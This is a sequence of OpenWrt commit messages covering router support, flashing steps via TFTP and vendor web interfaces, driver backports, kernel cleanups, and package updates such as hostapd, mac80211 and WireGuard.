- SoC: Qualcomm Atheros QCA9533 (560 MHz, MIPS 24Kc)
- RAM: 32 MiB
- Storage: 4 MiB of Flash on board
- Wireless: Built into QCA9533 (Honey Bee), PHY modes b/g/n
- Ethernet: 1x100M (port0)
Installation through OEM Web Interface:
- Connect to TL-WR802N by Ethernet or Wi-Fi
- Go to web interface:
[V1] http://192.168.0.1
[V2] http://192.168.0.254
Default user is "admin" & password is "admin".
On V2, there is no DHCP server running by default, so remember to set
IP manually.
- Go to "System Tools -> Firmware Upgrade"
- Browse for firmware:
[V1] "*.factory.bin"
[V2] "*.factory-us.bin" or "*.factory-eu.bin" for eu model
Web interface may complain if filename is too long. In such case,
rename .bin to something shorter.
- Click upgrade
Installation through tftp:
Note: T_OUT, T_IN and GND on the board must be connected to USB TTL
Serial Configuration 115200 8n1
- Boot the TL-WR802N
- When "Autobooting in 1 seconds" appears type "tpl" followed by enter
- Connect to the board Ethernet port
(IPADDR: 192.168.1.1, ServerIP: 192.168.1.10)
- tftpboot 0x80000000 <Firmware Image Name>
- Record the result of "printenv bootcmd"
- Enter "erase <Result of 'printenv bootcmd'> +0x3c0000"
(e.g erase 0x9f020000 +0x3c0000)
- Enter "cp.b 0x80000000 <Result of 'printenv bootcmd'> 0x3c0000"
(e.g cp.b 0x80000000 0x9f020000 0x3c0000)
- Enter "bootm <Result of 'printenv bootcmd'>"
(e.g bootm 0x9f020000)
Notes:
When porting from ar71xx target to ath79, I found out that on V2,
reset button is on GPIO12 and active low, instead of GPIO11 and
active high. By cross-flashing V1 firmware to V2, I confirmed
the same is true for V1.
Also according to manual of V1, this one also has green
LED instead of blue - both of those issues were fixed accordingly.
The MAC address assignment has been checked with OEM firmware.
Installation manual based on ar71xx support by Thomas Roberts
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[slightly adjust commit message, add MAC address comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
During porting support for this router to ath79 target
it was discovered that GPIO mapping was incorrect (GPIO11 active high).
Correct mapping for both V1 and V2 is GPIO12 active low.
Default configuration from GPL source for V2 explicitly states this, and
this was confirmed experimentally on ath79 by looking on
/sys/kernel/debug/gpio. Correctness of this was also validated for V1 by
cross-flashing vendor firmware for V1 on V2 hardware, in which reset
button also worked.
Fix it.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[slightly adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Ubiquiti WA devices with newer hw version 2011K require UBNT_VERSION
to be at least 8.5.3, otherwise the image is rejected:
New ver: WA.ar934x.v8.5.0-42.OpenWrt-r10947-65030d81f3
Versions: New(525568) 8.5.0, Required(525571) 8.5.3
Invalid version 'WA.ar934x.v8.5.0-42.OpenWrt-r10947-65030d81f3'
For consistency, also increase version number for XC devices.
Tested-by: Pedro <pedrowrt@cas.cat>
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Since the wireless LED was used for boot and set up with a DT
trigger, the WiFi indication hasn't worked on ath79 at all.
In addition, a look into the manual revealed that the OEM
configuration is as follows:
LED 1 (green): power
LED 2 (green): configurable
LED 3 (red): wireless
So, let's just keep the WiFi trigger and convert the rest to its
"intended" use.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
zstd with its default settings (compression level -3) compresses better
than bzip2 -9 (which is the default setting), and is an order of magnitude
faster.
I made the following measurements for the most common compression tools
(all standard Debian Buster versions, default flags unless noted
otherwise), using the debug information of a large x86-64 kernel with
ALL_KMODS:
* kernel-debug.tar: 376M
* kernel-debug.tar.gz: 101M, compressed in ~12s
* kernel-debug.tar.bz2: 91M, compressed in ~15s
* kernel-debug.tar.xz: 57M, compressed in ~101s
* kernel-debug.tar.zst: 86M, compressed in ~1s
With zstd, there is still some room for improvement by increasing the
compression, but the slight increase in compression ratio
(22.83% -> 19.46%) does not justify the significant increase in
compression time (about 5 times on my machine) in my opinion.
Note that multithreaded compression (-T argument) does not affect
reproducibility with zstd.
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
We currently support three kernel versions on this target, let's
just get rid of the oldest one.
Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
From: Rui Salvaterra <rsalvaterra@gmail.com>
Date: Mon, 25 May 2020 14:49:07 +0100
Subject: [PATCH] rt2800: enable MFP support unconditionally
This gives us WPA3 support out of the box without having to manually disable
hardware crypto. The driver will fall back to software crypto if the connection
requires management frame protection.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
GPS time without date was previously used to set system date:
Tue Oct 10 11:48:21 2000 user.info kernel: [ 108.786639] ugps: system time differs from GPS time by more than 5 seconds. Using 2000-10-10T10:48:21 UTC as the new time
Tue Oct 10 11:49:27 2000 user.info kernel: [ 174.794699] ugps: system time differs from GPS time by more than 5 seconds. Using 2020-05-26T10:49:27 UTC as the new time
Fix this by ignoring incomplete dates and wait for complete time
information before adjusting system date/time.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The -O option for the tplink-v1-header was missing for the TP-Link
TL-WR902AC v1, while safeloader and MTDPARTS where set up with a
single firmware partition.
This led to bootloops after using sysupgrade.
Fixes: FS#3118
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Also ensure that the error message is actually printed to stderr and that
the rule generation is aborted if an interface cannot be resolved.
Ref: https://github.com/openwrt/luci/issues/3975
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Also removes random module and switches to new bcm2711 thermal driver.
Boot tested on RPi 4B v1.1 4G.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
disable_vht parameter needs to be set when using wpa_supplicant NOHT/HT* modes.
Signed-off-by: Enrique Rodríguez Valencia <enrique.rodriguez@galgus.net>
When configuring the radio in legacy mode from luci, the htmode is not set
correctly to NOHT, causing the radio in mesh mode to be set to HT40.
Signed-off-by: Enrique Rodríguez Valencia <enrique.rodriguez@galgus.net>
Add a local hack to prevent the Broadcom WPA authenticator process from
inheriting the lock descriptor 1000 used to prevent concurrent executions
of the init script.
Without this fix, repeated invocations of /etc/init.d/network, e.g. for
obtaining the enabled state, would hang forever.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Support for 64 bits has been remove on latest master of raspberry/firmware.
Update to latest commit with 64 bit support since we don't support
installing 32 bit packages on 64 bit targets.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This patch backports additional fixes for XDP support in the mvneta driver. These
changes are found upstream as commits:
b37fa92e20ef2 net: mvneta: fix build skb for bm capable devices
f383b2950070c net: mvneta: rely on page_pool_recycle_direct in mvneta_run_xdp
79572c98c554d mvneta driver disallow XDP program on hardware buffer management
44efc78d0e464 net: mvneta: fix XDP support if sw bm is used as fallback
Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr>
This patch backports XDP support in the mvneta driver used by Marvell ARMADA 37x,
38x and 37xx series SoCs. Supported actions are:
- XDP_DROP
- XDP_PASS
- XDP_REDIRECT
- XDP_TX
Patches are present upstream as following commits:
* b0a43db9087a net: mvneta: add XDP_TX support
* 9e58c8b41065 net: mvneta: make tx buffer array agnostic
* fa383f6b77a2 net: mvneta: move header prefetch in mvneta_swbm_rx_frame
* 0db51da7a8e9 net: mvneta: add basic XDP support
* 8dc9a0888f4c net: mvneta: rely on build_skb in mvneta_rx_swbm poll routine
* 568a3fa24a95 net: mvneta: introduce page pool API for sw buffer manager
* ff519e2acd46 net: mvneta: introduce mvneta_update_stats routine
Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr>
The clean target tries to remove what looks like a bogus 'rbcfg',
probably carried over copy-pasta. Remove the name of the generated
executable ('fbtest') instead.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Fixes: 8099f4e0d3 ("fbtest utility ")
tl;dr: dd will silently truncate the output if reading from special
files (e.g. sysfs attributes) with a too large bs parameter.
This problem was exposed on some RouterBOARD ipq40xx devices which use a
caldata payload which is larger than PAGE_SIZE, contrary to all other
currently supported RouterBOARD devices: the caldata would fail to
properly load with the current scripts.
Background: dd doesn't seem to correctly handle read() results that
return less than requested data. sysfs attributes have a kernel exchange
buffer which is at most PAGE_SIZE big, so only 1 page can be read() at a
time. In this case, if bs is larger than PAGE_SIZE, dd will silently
truncate blocks to PAGE_SIZE. With the current scripts using bs=<size>
count=1, the data is truncated to PAGE_SIZE as soon as the requested
<size> exceeds this value.
This commit works around this problem by using `cat` in the caldata
routines that can read from a file (routines that read from mtd devices
are untouched). cat correctly handles partial read requests. The output
is then piped to dd with the same parameters as before, to ensure that
the resulting file remains exactly the same.
This is a simple workaround, the downside is that it uses a pipe and one
more executable, and therefore has a larger memory footprint and is
slower. This is deemed acceptable considering these routines are only
used at boot time.
Tested-by: Robert Marko <robimarko@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This commit introduces support for R/W access to the CPU frequency
setting of routerboot on ath79 hardware.
On unsupported hardware, the sysfs attribute will expose the raw tag
value (read-only) to help with reverse engineering its meaning.
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This driver exposes the data encoded in the "soft_config" flash segment
of MikroTik RouterBOARDs devices. It presents the data in a sysfs folder
named "soft_config" through a set of human-and-machine-parseable
attributes. Changes can be discarded by writing 0 to the 'commit'
attribute, or they can be committed to flash storage by writing 1.
This driver does not reuse any of the existing code previously found in
the "rbcfg" utility and makes this utility obsolete by providing a clean
sysfs interface.
Like "rbcfg", this driver requires 4K_SECTORS support since the flash
partition in which these parameters are stored is typically 4KB in size.
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This routine will be shared between hard and soft config drivers.
Also use scnprintf() instead of snprintf().
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
For the sake of strictly typed code, add a missing const qualifier.
Add a missing return value in error path.
Check the return value of mtd_read(), for good measure.
Also demote the error printks of failed sysfs file creation to warn
level since they are not fatal in the init() sequence.
Finally, add a note regarding PAGE_SIZE and clarify a comment.
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This patch adds support for the COMFAST CF-E130N v2, an outdoor wireless
CPE with a single Ethernet port and a 802.11bgn radio.
Specifications:
- QCA9531 SoC
- 1x 10/100 Mbps Ethernet with PoE-in support
- 64 MB of RAM (DDR2)
- 16 MB of FLASH
- 5 dBi built-in antenna
- POWER/LAN/WLAN green LEDs
- 4x RSSI LEDs (2x red, 2x green)
- UART (115200 8N1) and GPIO (J9) headers on PCB
Flashing instructions:
The original firmware is based on OpenWrt so a sysupgrade image can be
installed via the stock web GUI.
The U-boot bootloader also contains a backup TFTP client to upload the
firmware from. Upon boot, it checks its ethernet network for the IP
192.168.1.10. Host a TFTP server and provide the image to be flashed as
file firmware_auto.bin.
MAC address setup:
The art partition contains four consecutive MAC addresses:
0x0 aa:bb:cc:xx:xx:c4
0x6 aa:bb:cc:xx:xx:c6
0x1002 aa:bb:cc:xx:xx:c5
0x5006 aa:bb:cc:xx:xx:c7
However, the manufacturer in its infinite wisdom decided that one address
is enough and both eth0 and WiFi get the MAC address from 0x0 (yes, that's
overwriting the existing and valid address in 0x1002). This is obviously
also the address on the device's label.
Signed-off-by: Pavel Balan <admin@kryma.net>
[fix configs partition, fix IMAGE_SIZE, add MAC address comment, rename
ATH_SOC to SOC]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
AHB is 258 MHz for this device (CPU_PLL / 3), but there is no difference
between 64 MHz and 50 MHz for spi-max-frequency, thus increase to 50 MHz.
Tested on revisions C1 and C3.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
GPIO 11 needs to be pulled high for the external gigabit switch to work,
this is currently solved via gpio-hog. Replace with phy0 reset-gpios.
Tested on revisions C1 and C3. Reset button is still working for reboot,
to enter failsafe, and to enter bootloader http recovery.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
The device has a total of 8 LEDs, 5 of which are controlled by the switch
(LAN 1-4, WAN). Only power, wifi and wps are controlled by the SoC.
* led_power is on GPIO 5 (not 15), boot flashing sequence is now visible
* remove led 'internet', since it is only connected to the switch
* remove ucidef_set_led_switch for WAN from 01_leds, as it has no effect
Tested on revisions C1 and C3.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* MediaTek MT7620A (580 Mhz)
* 8 MB of FLASH
* 64 MB of RAM
* 2.4Ghz and 5.0Ghz radios
* 5x 10/100 Mbps Ethernet (1 WAN and 4 LAN)
* UART header on PCB (57600 8n1)
* Green/Orange Power LEDs illuminating a Power-Button Lens
* Green/Orange Internet LEDs GPIO controlled illuminating a Globe/Internet Lens
* 3x button - wps, power and reset
* U-boot bootloader
Installation:
The sysupgrade.bin image is reported to be OEM web flashed with an ncc_att_hwid
appended. ncc_att_hwid is a 32bit binary in the GPL Source download for either
the TEW-810DR or DIR-810L and is located at
source/user/wolf/cameo/ncc/hostTools.
The invocation is: ncc_att_hwid -f tew-810dr-squashfs-factory.bin -a -m "TEW-810DR" -H "1.0R" -r "WW" -c "1.0"
This may need to be altered if your hardware version is "1.1R".
The image can also be directly flashed via serial tftp:
1. Load *.sysupgrade.bin to your tftp server directory and rename for
convenience.
2. Set a static ip 192.168.10.100.
3. NIC cable to a lan port.
4. Serial connection parameters 57600,8N1
5. Power on the TEW-810 and press 4 for a u-boot command line prompt.
6. Verify IP's with U-Boot command "printenv".
7. Adjust tftp settings if needed per the tftp documentation
8. Boot the tftp image to test the build.
9. If the image loads, reset your server ip to 192.168.1.10 and restart network.
10. Log in to Luci, 192.168.1.1, and flash the *sysupgrade.bin image.
Notes:
The only valid MAC address is found in 0x28 of the factory partition.
Other typical offsets/caldata only contain example data: 00:11:22:00:0f:xx
Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
[remove "link rx tx" in 01_leds, format and extend commit message,
fix DTS led node names]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The UBIFS_FS_ZSTD is exposed when UBIFS is enabled.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
86818eaa976b blob: make blob_parse_untrusted more permissive
cf2e8eb485ab tests: add fuzzer seed file for crash in blob_len
c2fc622b771f blobmsg: fix length in blobmsg_check_array
639c29d19717 blobmsg: simplify and fix name length checks in blobmsg_check_name
66195aee5042 blobmsg: fix missing length checks
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Between 4.19 and 5.4, the kernel moved the partition parsers into
the parsers subdirectory. This led to some necessary rebasing of
our local patches for parsers, which partially has been performed
without caring about where the code was inserted.
This commit tries to adjust our local patches so that parsers are
inserted at the "proper" positions with respect to alphabetic sorting
(if possible). Thus, the commit is cosmetic.
While this might look useless now, it will make life easier when
adding other parsers in the future or for rebasing on kernel changes.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
These trailing whitespaces were reported during kernel patch refresh.
While at it, harmonize a few indents as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch has been backported to stable kernel 5.4 already.
Remove our local patch explicitly now, as by applying the patch
(or refreshing) the relevant code is actually added a second time.
Refresh remaining patches as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
octeon has provided 5.4 as testing kernel for some time now, let's
switch to 5.4 to have a bigger audience for testing.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Kernel 5.4 is stable for about two months now and there is only a few
patches anyway, so this is mostly upstream stuff. Therefore, it does
not look like we need to keep old 4.14 around any longer.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Kernel 5.4 is stable for about two months now and there is only one
patch anyway, so this is mostly upstream stuff. Therefore, it does
not look like we need to keep old 4.14 around any longer.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remove support for kernel 4.14, and NXP Layerscape SDK
had not supported kernel 4.14 since LSDK-20.04 either.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Specifications:
- MT7628NN @ 580 MHz
- 32 MB RAM
- 8 MB Flash
- 5x 10/100 Mbps Ethernet (built-in switch)
- 2.4 GHz WLAN
- 2x external, non-detachable antennas (1x for RT-N10P V3)
Flash instructions:
1. Set PC network interface to 192.168.1.75/24.
2. Connect PC to the router via LAN.
3. Turn router off, press and hold reset button, then turn it on.
4. Keep the button pressed till power led starts to blink.
5. Upload the firmware file via TFTP. (Any filename is accepted.)
6. Wait until the router reboots.
Signed-off-by: Ernst Spielmann <endspiel@disroot.org>
[fix node/property name for state_default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
5e75160 blobmsg: fix attrs iteration in the blobmsg_check_array_len()
eeddf22 tests: runqueue: try to fix race on GitLab CI
89fb613 libubox: runqueue: fix use-after-free bug
1db3e7d libubox: runqueue fix comment in header
7c4ef0d tests: list: add test case for list_empty iterator
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
00b921d80ac0 Do not print line number in debug messages
96c42c5ed320 Fix length checks in cert_load()
fe06b4b836b3 usign-exec: improve usign -F output handling
19f9e1917e1b usign-exec: return code fixes
077feb5b5824 usign-exec: close writing end of pipe early in parent process
7ec4bb764e1e usign-exec: remove redundant return statements
5a738e549d31 usign-exec: change usign_f_* fingerprint argument to char[17]
112488bbbccc usign-exec: do not close stdin and stderr before exec
38dcb1a6f121 usign-exec: fix exec error handling
a9be4fb17df2 usign-exec: simplify usign execv calls
854d93e2326a Introduce read_file() helper, improve error reporting
afc86f352bf7 Fix return code of write_file()
fdff10852326 stdout/stderr improvements
dddb2aa8124d ci: fix unit test failures by enabling full ucert build
5f206bcfe5c2 ci: enable unit testing
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
These are in if statements (where they should be), and echo output that is
not piped to anything. These should be safe.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This patch adds support for the WNDR4300SW, marketed by California ISP
SureWest (hence the 'SW' suffix). Hardware wise, it's identical to the
WNDR4300 v1.
Specifications:
* SoC: Atheros AR9344
* RAM: 128 MB
* Flash: 128 MB NAND flash
* WiFi: Atheros AR9580 (5 GHz) and AR9344 (2,4 GHz)
* Ethernet: 5x 1000Base-T
* LED: Power, WAN, LAN, WiFi, USB, WPS
* UART: on board, to the right of the RF shield at the top of the board
Installation:
* Flashing through the OEM web interface:
+ Connect your computer to the router with an ethernet cable and browse
to http://192.168.1.1/
+ Log in with the default credentials are admin:password
+ Browse to Advanced > Administration > Firmware Upgrade in the Netgear
interface
+ Upload the Openwrt firmware: openwrt-ath79-nand-netgear_wndr4300sw-squashfs-factory.img
+ Proceed with the firmware installation and give the device a few
minutes to finish and reboot.
* Flashing through TFTP:
+ Configure your wired client with a static IP in the 192.168.1.x range,
e.g. 192.168.1.10 and netmask 255.255.255.0.
+ Power off the router.
+ Press and hold the RESET button (the factory reset button on the bottom
of the device, with the red circle around it) and turn the router on
while keeping the button pressed.
+ The power LED will start flashing orange. You can release the button
once it switches to flashing green.
+ Transfer the image over TFTP:
$ tftp 192.168.1.1 -m binary -c put openwrt-ath79-nand-netgear_wndr4300sw-squashfs-factory.img
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
Fixes the following build error with GCC 10:
/usr/bin/ld: read_fs.o:(.bss+0x0): multiple definition of `swap'; mksquashfs.o:(.bss+0x1b2a88): first defined here
And a compile warning.
Fixes: FS#3104, FS#3119
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Commit f761f4052c had bogus case syntax, the uci-defaults script threw
errors as a result and exited non-zero, probably didn't do what was
intended, but tried over and over since the non-zero exit prevents the
script from being deleted.
Fixes: f761f4052c ("ramips: mt7621: harmonize naming scheme for Mikrotik")
Signed-off-by: Russell Senior <russell@personaltelco.net>
[extend commit title, add Fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
SoC: Atheros AR9344
RAM: 128M DDR2
FLASH: 2x Macronix MX25L12845EM
2x 16MiB SPI-NOR
WLAN2: Atheros AR9344 2x2 2T2R
WLAN5: Atheros AR9580 2x2 2T2R
SERIAL: Cisco-RJ45 on the back (115200 8n1)
Installation
------------
The U-Boot CLI is password protected (using the same credentials as the
OS). Default is admin/new2day.
1. Download the OpenWrt initramfs-image. Place it into a TFTP server
root directory and rename it to 1401A8C0.img. Configure the TFTP
server to listen at 192.168.1.66/24.
2. Connect the TFTP server to the access point.
3. Connect to the serial console of the access point. Attach power and
interrupt the boot procedure when prompted (bootdelay is 1 second).
4. Configure the U-Boot environment for booting OpenWrt from Ram and
flash:
$ setenv boot_openwrt 'setenv bootargs; bootm 0xbf230000'
$ setenv ramboot_openwrt 'setenv serverip 192.168.1.66;
tftpboot 0x85000000; bootm'
$ setenv bootcmd 'run boot_openwrt'
$ saveenv
5. Load OpenWrt into memory:
$ run ramboot_openwrt
Wait for the image to boot.
6. Transfer the OpenWrt sysupgrade image to the device. Write the image
to flash using sysupgrade:
$ sysupgrade -n /path/to/openwrt-sysuograde.bin
Signed-off-by: David Bauer <mail@david-bauer.net>
Commit 472fd98c5b ("hostapd: disable support for Wired Equivalent
Privacy by default") made support for WEP optional.
Expose the WEP support to LuCi or other userspace tools using the
existing interface. This way they are able to remove WEP from the
available ciphers if hostapd is built without WEP support.
Signed-off-by: David Bauer <mail@david-bauer.net>
ADB P.DG A4001N A-000-1A1-AX a.k.a. Telecom Italia ADSL2+ Wi-Fi N (AGPWI)
has the same PCB as the OpenWrt's ADB P.DG A4001N1 with LEDs connected
to different GPIO PINs in active low configuration.
OpenWrt's ADB P.DG A4001N image is made for the ADB P.DG A4001N A-000-1A1-AE.
It has different LEDs configuration and flash size/layout
w.r.t the ADB P.DG A4001N A-000-1A1-AX.
Hardware:
* Board ID: 96328avng
* SoC: Broadcom BCM6328
* RAM DDR2-800: 32 Mbyte - winbond W9725G6KB-25
* Serial flash: 16 Mbyte - MXIC MX25L 12845EMI-10G
* Ethernet: 4x Ethernet 10/100 baseT
* Wifi 2.4GHz: Broadcom Corporation BCM43224/5 Wireless Network Adapter (rev 01)
* LEDs: 2x Power, 2x ADSL, 2x Internet, 2x Wi-Fi, 2x Service
* Buttons: 1x Reset, 1x WPS (named WiFi/LED)
* UART: 1x TTL 115200n8, TX NC RX, on J5 connector (short R192 and R193)
NC GND NC
Installation via CFE:
* Stock CFE has to be overwriten with one for 96328avng boards that can upload
.bin images with no signature check (cfe-A4001N-V0000_96328avng.bin)
* connect a serial port to the board
* Stop the boot process after power on by pressing enter
* set static IP 192.168.1.2 and subnet mask 255.255.255.0
* navigate to http://192.168.1.1/
* upload the OpenWrt image file
Signed-off-by: Daniele Castro <danielecastro@hotmail.it>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This extracts the model part of the board name and uses it for the
LED string identifiers in 01_leds. As this makes statements more
generic, it will allow to merge more cases in the future.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While "ok" is recognized in DT parsing, only "okay" is actually
mentioned as valid value. Replace it accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes the following compile error seen on the mpc85xx target:
CC [M] /linux-mpc85xx_p2020/backports-5.7-rc3-1/drivers/net/wireless/intersil/orinoco/main.o
In file included from /builder/shared-workdir/build/staging_dir/toolchain-powerpc_8540_gcc-8.4.0_musl/include/stddef.h:17,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/include/uapi/linux/wireless.h:77,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/include/linux/wireless.h:13,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/drivers/net/wireless/intersil/orinoco/main.c:89:
/builder/shared-workdir/build/staging_dir/toolchain-powerpc_8540_gcc-8.4.0_musl/include/bits/alltypes.h:106:15: error: conflicting types for 'ptrdiff_t'
typedef _Addr ptrdiff_t;
^~~~~~~~~
In file included from /linux-mpc85xx_p2020/backports-5.7-rc3-1/backport-include/linux/types.h:4,
from ./include/linux/list.h:5,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/backport-include/linux/list.h:3,
from ./include/linux/module.h:9,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/backport-include/linux/module.h:3,
from /linux-mpc85xx_p2020/backports-5.7-rc3-1/drivers/net/wireless/intersil/orinoco/main.c:79:
./include/linux/types.h:65:28: note: previous declaration of 'ptrdiff_t' was here
typedef __kernel_ptrdiff_t ptrdiff_t;
^~~~~~~~~
scripts/Makefile.build:265: recipe for target '/linux-mpc85xx_p2020/backports-5.7-rc3-1/drivers/net/wireless/intersil/orinoco/main.o' failed
Fixes: 289c632425 ("mac80211: Update to version 5.7-rc3-1")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Running your firewall's "wan" zone in REJECT zone (1) exposes the
presence of the router, (2) depending on the sophistication of
fingerprinting tools might identify the OS and release running on
the firewall which then identifies known vulnerabilities with it
and (3) perhaps most importantly of all, your firewall can be
used in a DDoS reflection attack with spoofed traffic generating
ICMP Unreachables or TCP RST's to overwhelm a victim or saturate
his link.
This rule, when enabled, allows traceroute to work even when the
default input policy of the firewall for the wan zone has been
set to DROP.
Signed-off-by: Philip Prindeville <philipp@redfish-solutions.com>
Introduce support for generating JFFS2 CFE partition tags.
This is used in NAND devices in order to verify the integrity of the JFFS2
partition.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
There are older devices which require overriding the RGMII ports, so this
shouldn't be limited and forced to BCM63268.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
NAND is used as extra storage on this device.
Signed-off-by: Daniel Gonzalez Cabanelas <dgcbueu@gmail.com>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This updates the mac80211 backport.
The removed patches are already integrated in the upstream version.
The 131-Revert-mac80211-aes-cmac-switch-to-shash-CMAC-driver.patch patch
was manually adapted to the changes in kernel 5.7.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This updates the mac80211 backport.
The removed patches are already integrated in the upstream version.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This updates the mac80211 backport.
The removed patches are already integrated in the upstream version.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This updates the mac80211 backport to the latest minor version.
The removed patch was a backport from the upstream kernel which is now
integrated.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Add i2c-pxa updates queued for v5.8, which add bus recovery to this
driver; this is needed for the uDPU platform.
Signed-off-by: Russell King <linux@armlinux.org.uk>
Backport the GPIO emulated open drain output fix from v5.5, which is
required for the i2c-pxa backport.
Signed-off-by: Russell King <linux@armlinux.org.uk>
Bring back 802.11s mesh features to the level previously available
before the recent hostapd version bump. This is mostly to support use
of 802.11s on DFS channels, but also making mesh forwarding
configurable which is crucial for use of 802.11s MAC with other routing
protocols, such as batman-adv, on top.
While at it, fix new compiler warning by adapting 700-wifi-reload.patch
to upstream changes, now building without any warnings again.
Fixes: 0a3ec87a66 ("hostapd: update to latest Git hostap_2_9-1238-gdd2daf0848ed")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This version has the various slew of bug fixes and compat fixes and
such, but the most interesting thing from an OpenWRT perspective is that
WireGuard now plays nicely with cake and fq_codel. I'll be very
interested to hear from OpenWRT users whether this makes a measurable
difference. Usual set of full changes follows.
This release aligns with the changes I sent to DaveM for 5.7-rc7 and were
pushed to net.git about 45 minutes ago.
* qemu: use newer iproute2 for gcc-10
* qemu: add -fcommon for compiling ping with gcc-10
These enable the test suite to compile with gcc-10.
* noise: read preshared key while taking lock
Matt noticed a benign data race when porting the Linux code to OpenBSD.
* queueing: preserve flow hash across packet scrubbing
* noise: separate receive counter from send counter
WireGuard now works with fq_codel, cake, and other qdiscs that make use of
skb->hash. This should significantly improve latency spikes related to
buffer bloat. Here's a before and after graph from some data Toke measured:
https://data.zx2c4.com/removal-of-buffer-bloat-in-wireguard.png
* compat: support RHEL 8 as 8.2, drop 8.1 support
* compat: support CentOS 8 explicitly
* compat: RHEL7 backported the skb hash renamings
The usual RHEL churn.
* compat: backport renamed/missing skb hash members
The new support for fq_codel and friends meant more backporting work.
* compat: ip6_dst_lookup_flow was backported to 4.14, 4.9, and 4.4
The main motivation for releasing this now: three stable kernels were released
at the same time, with a patch that necessitated updating in our compat layer.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Upstream in commit 200c7693c9a1 ("Make WEP functionality an optional
build parameter") has made WEP functionality an optional build parameter
disabled as default, because WEP should not be used for anything
anymore. As a step towards removing it completely, they moved all WEP
related functionality behind CONFIG_WEP blocks and disabled it by
default.
This functionality is subject to be completely removed in a future
release.
So follow this good security advice, deprecation notice and disable WEP
by default, but still allow custom builds with WEP support via
CONFIG_WPA_ENABLE_WEP config option till upstream removes support for
WEP completely.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Bump package to latest upstream Git HEAD which is commit dd2daf0848ed
("HE: Process HE 6 GHz band capab from associating HE STA"). Since last
update there was 1238 commits done in the upstream tree with 618 files
changed, 53399 insertions, 24928 deletions.
